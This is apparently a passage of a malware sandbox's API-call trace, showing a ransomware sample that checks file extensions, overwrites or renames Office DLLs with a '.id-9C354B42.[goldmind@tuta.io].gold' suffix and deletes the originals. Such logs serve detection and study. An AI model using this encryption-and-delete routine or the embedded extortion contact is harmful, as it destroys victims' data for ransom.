DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\mssoapr3.dll")) returned 1 [0050.763] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0050.763] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0050.763] lstrlenW (lpString=".doc") returned 4 [0050.763] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0050.763] lstrlenW (lpString=".docx") returned 5 [0050.763] lstrcmpiW (lpString1=".docx", lpString2="3.DLL") returned -1 [0050.763] lstrlenW (lpString=".pdf") returned 4 [0050.763] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0050.763] lstrlenW (lpString=".xls") returned 4 [0050.763] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0050.763] lstrlenW (lpString=".xlsx") returned 5 [0050.763] lstrcmpiW (lpString1=".xlsx", lpString2="3.DLL") returned -1 [0050.763] lstrlenW (lpString=".ppt") returned 4 [0050.763] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0050.763] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0050.763] lstrlenW (lpString=".zip") returned 4 [0050.763] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0050.763] lstrlenW (lpString=".rar") returned 4 [0050.763] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0050.763] lstrlenW (lpString=".bz2") returned 4 [0050.763] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0050.763] lstrlenW (lpString=".7z") returned 3 [0050.763] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0050.763] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0050.764] lstrlenW (lpString=".dbf") returned 4 [0050.764] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0050.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0050.764] lstrlenW (lpString=".1cd") returned 4 [0050.764] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0050.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0050.764] lstrlenW (lpString=".jpg") returned 4 [0050.764] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0050.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0050.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0050.764] lstrlenW (lpString=".doc") returned 4 [0050.764] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0050.764] lstrlenW (lpString=".docx") returned 5 [0050.764] lstrcmpiW (lpString1=".docx", lpString2="3.DLL") returned -1 [0050.764] lstrlenW (lpString=".pdf") returned 4 [0050.764] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0050.764] lstrlenW (lpString=".xls") returned 4 [0050.764] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0050.764] lstrlenW (lpString=".xlsx") returned 5 [0050.764] lstrcmpiW (lpString1=".xlsx", lpString2="3.DLL") returned -1 [0050.764] lstrlenW (lpString=".ppt") returned 4 [0050.764] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0050.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0050.764] lstrlenW (lpString=".zip") returned 4 [0050.764] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0050.764] lstrlenW (lpString=".rar") returned 4 [0050.764] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0050.764] lstrlenW (lpString=".bz2") returned 4 [0050.764] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0050.764] lstrlenW (lpString=".7z") returned 3 [0050.764] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0050.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0050.764] lstrlenW (lpString=".dbf") returned 4 [0050.764] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0050.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0050.764] lstrlenW (lpString=".1cd") returned 4 [0050.764] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0050.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0050.764] lstrlenW (lpString=".jpg") returned 4 [0050.764] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0050.764] lstrcmpiW (lpString1=".dll", lpString2=".gold") returned -1 [0050.764] lstrlenW (lpString="xlsrvintl.dll") returned 13 [0050.764] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\xlsrvintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0050.765] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=105344) returned 1 [0050.765] CloseHandle (hObject=0x19c) returned 1 [0050.765] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\xlsrvintl.dll")) returned 0x20 [0050.766] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\xlsrvintl.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0050.766] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\xlsrvintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0050.766] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0050.766] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0050.766] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\xlsrvintl.dll.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0050.766] GetLastError () returned 0x0 [0050.766] ReadFile (in: hFile=0x19c, lpBuffer=0x3da0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesRead=0x32afed4*=0x19b80, lpOverlapped=0x0) returned 1 [0050.770] WriteFile (in: hFile=0x210, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0x19b90, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afc9c*=0x19b90, lpOverlapped=0x0) returned 1 [0050.772] ReadFile (in: hFile=0x19c, lpBuffer=0x3da0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesRead=0x32afed4*=0x0, lpOverlapped=0x0) returned 1 [0050.772] WriteFile (in: hFile=0x210, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afc9c*=0xee, lpOverlapped=0x0) returned 1 [0050.772] SetEndOfFile (hFile=0x210) returned 1 [0050.772] CloseHandle (hObject=0x210) returned 1 [0050.772] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0050.772] SetEndOfFile (hFile=0x19c) returned 1 [0050.773] CloseHandle (hObject=0x19c) returned 1 [0050.773] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0050.773] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\xlsrvintl.dll")) returned 1 [0050.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0050.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0050.774] lstrlenW (lpString=".doc") returned 4 [0050.774] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0050.774] lstrlenW (lpString=".docx") returned 5 [0050.774] lstrcmpiW (lpString1=".docx", lpString2="l.dll") returned -1 [0050.774] lstrlenW (lpString=".pdf") returned 4 [0050.774] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0050.774] lstrlenW (lpString=".xls") returned 4 [0050.774] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0050.774] lstrlenW (lpString=".xlsx") returned 5 [0050.774] lstrcmpiW (lpString1=".xlsx", lpString2="l.dll") returned -1 [0050.774] lstrlenW (lpString=".ppt") returned 4 [0050.774] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0050.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0050.774] lstrlenW (lpString=".zip") returned 4 [0050.774] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0050.774] lstrlenW (lpString=".rar") returned 4 [0050.774] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0050.774] lstrlenW (lpString=".bz2") returned 4 [0050.774] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0050.774] lstrlenW (lpString=".7z") returned 3 [0050.774] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0050.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0050.774] lstrlenW (lpString=".dbf") returned 4 [0050.774] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0050.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0050.774] lstrlenW (lpString=".1cd") returned 4 [0050.774] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0050.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0050.774] lstrlenW (lpString=".jpg") returned 4 [0050.774] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0050.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0050.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0050.774] lstrlenW (lpString=".doc") returned 4 [0050.774] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0050.774] lstrlenW (lpString=".docx") returned 5 [0050.774] lstrcmpiW (lpString1=".docx", lpString2="l.dll") returned -1 [0050.774] lstrlenW (lpString=".pdf") returned 4 [0050.774] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0050.774] lstrlenW (lpString=".xls") returned 4 [0050.774] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0050.774] lstrlenW (lpString=".xlsx") returned 5 [0050.774] lstrcmpiW (lpString1=".xlsx", lpString2="l.dll") returned -1 [0050.774] lstrlenW (lpString=".ppt") returned 4 [0050.774] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0050.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0050.774] lstrlenW (lpString=".zip") returned 4 [0050.775] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0050.775] lstrlenW (lpString=".rar") returned 4 [0050.775] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0050.775] lstrlenW (lpString=".bz2") returned 4 [0050.775] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0050.775] lstrlenW (lpString=".7z") returned 3 [0050.775] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0050.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0050.775] lstrlenW (lpString=".dbf") returned 4 [0050.775] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0050.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0050.775] lstrlenW (lpString=".1cd") returned 4 [0050.775] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0050.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0050.775] lstrlenW (lpString=".jpg") returned 4 [0050.775] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0050.775] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0050.775] lstrlenW (lpString="ACECORE.DLL") returned 11 [0050.775] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0050.776] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=3213192) returned 1 [0050.776] CloseHandle (hObject=0x19c) returned 1 [0050.776] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll")) returned 0x20 [0050.776] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0050.776] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 1 [0050.777] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0050.777] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc6c | out: lpNewFilePointer=0x0) returned 1 [0050.777] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0050.777] ReadFile (in: hFile=0x19c, lpBuffer=0x3da0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3da0058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0050.779] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x1057d8, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0050.779] ReadFile (in: hFile=0x19c, lpBuffer=0x3de0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3de0058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0050.784] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x32afc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0050.784] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x2d0788, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0050.784] ReadFile (in: hFile=0x19c, lpBuffer=0x3e20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3e20058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0051.018] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0051.018] WriteFile (in: hFile=0x19c, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x32afcb0, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0051.027] SetEndOfFile (hFile=0x19c) returned 1 [0051.568] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x40000) returned 0x3f540a0 [0052.200] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0052.200] WriteFile (in: hFile=0x19c, lpBuffer=0x3f540a0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f540a0*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.202] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x1057d8, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0052.202] WriteFile (in: hFile=0x19c, lpBuffer=0x3f540a0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f540a0*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.229] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x2d0788, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0052.229] WriteFile (in: hFile=0x19c, lpBuffer=0x3f540a0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f540a0*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.234] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x3f540a0 | out: hHeap=0x880000) returned 1 [0052.234] CloseHandle (hObject=0x19c) returned 1 [0052.234] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0052.234] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0052.234] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0052.234] lstrlenW (lpString=".doc") returned 4 [0052.234] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0052.234] lstrlenW (lpString=".docx") returned 5 [0052.234] lstrcmpiW (lpString1=".docx", lpString2="E.DLL") returned -1 [0052.234] lstrlenW (lpString=".pdf") returned 4 [0052.234] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0052.234] lstrlenW (lpString=".xls") returned 4 [0052.234] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0052.234] lstrlenW (lpString=".xlsx") returned 5 [0052.234] lstrcmpiW (lpString1=".xlsx", lpString2="E.DLL") returned -1 [0052.234] lstrlenW (lpString=".ppt") returned 4 [0052.234] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0052.234] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0052.234] lstrlenW (lpString=".zip") returned 4 [0052.234] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0052.234] lstrlenW (lpString=".rar") returned 4 [0052.234] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0052.234] lstrlenW (lpString=".bz2") returned 4 [0052.234] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0052.234] lstrlenW (lpString=".7z") returned 3 [0052.234] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0052.234] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0052.234] lstrlenW (lpString=".dbf") returned 4 [0052.234] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0052.234] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0052.234] lstrlenW (lpString=".1cd") returned 4 [0052.234] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0052.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0052.235] lstrlenW (lpString=".jpg") returned 4 [0052.235] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0052.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0052.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0052.235] lstrlenW (lpString=".doc") returned 4 [0052.235] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0052.235] lstrlenW (lpString=".docx") returned 5 [0052.235] lstrcmpiW (lpString1=".docx", lpString2="E.DLL") returned -1 [0052.235] lstrlenW (lpString=".pdf") returned 4 [0052.235] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0052.235] lstrlenW (lpString=".xls") returned 4 [0052.235] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0052.235] lstrlenW (lpString=".xlsx") returned 5 [0052.235] lstrcmpiW (lpString1=".xlsx", lpString2="E.DLL") returned -1 [0052.235] lstrlenW (lpString=".ppt") returned 4 [0052.235] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0052.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0052.235] lstrlenW (lpString=".zip") returned 4 [0052.235] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0052.235] lstrlenW (lpString=".rar") returned 4 [0052.235] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0052.235] lstrlenW (lpString=".bz2") returned 4 [0052.235] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0052.235] lstrlenW (lpString=".7z") returned 3 [0052.235] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0052.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0052.235] lstrlenW (lpString=".dbf") returned 4 [0052.235] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0052.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0052.235] lstrlenW (lpString=".1cd") returned 4 [0052.235] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0052.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0052.235] lstrlenW (lpString=".jpg") returned 4 [0052.235] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0052.236] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0052.236] lstrlenW (lpString="ACEODTXT.DLL") returned 12 [0052.236] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodtxt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0052.451] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=15800) returned 1 [0052.451] CloseHandle (hObject=0x200) returned 1 [0052.451] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodtxt.dll")) returned 0x20 [0052.451] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodtxt.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0052.452] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodtxt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0052.452] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0052.452] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0052.452] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodtxt.dll.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0052.452] GetLastError () returned 0x0 [0052.452] ReadFile (in: hFile=0x200, lpBuffer=0x3da0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesRead=0x32afed4*=0x3db8, lpOverlapped=0x0) returned 1 [0052.454] WriteFile (in: hFile=0x1a0, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0x3dc0, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: 